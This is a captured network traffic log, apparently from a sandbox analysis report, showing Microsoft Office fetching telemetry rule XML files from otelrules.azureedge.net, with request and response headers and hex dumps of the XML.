2024-10-30 19:14:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:14 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:14 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:14 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ebb042ec-b01e-0021-7980-29cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191414Z-17c5cb586f6gkqkwd0x1ge8t0400000009700000000013a5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:14 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df5d8003-e01e-0099-48f7-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-17c5cb586f69w69mgazyf263an00000007p000000000f1zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4e087ea8-e01e-0099-0e5a-28da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-15b8d89586fmhkw429ba5n22m800000009zg000000005vhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 258e3987-401e-0047-4dfa-288597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-17c5cb586f69w69mgazyf263an00000007sg000000003xm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:15 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-16849878b78p49s6zkwt11bbkn000000082g00000000kn5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-16849878b787wpl5wqkt5731b4000000099g000000002bkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191416Z-15b8d89586fwzdd88qtcg4dr1800000000hg00000000cyub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-16849878b78q9m8bqvwuva4svc000000072g000000001etd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:16 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-16849878b78bjkl8dpep89pbgg000000074g00000000gzny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 8a6aace2-001e-0017-571c-290c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-15b8d89586fvpb59307bn2rcac00000003h000000000fhvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:15 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:16 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191415Z-16849878b78j5kdg3dndgqw0vg0000000a2g00000000twc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 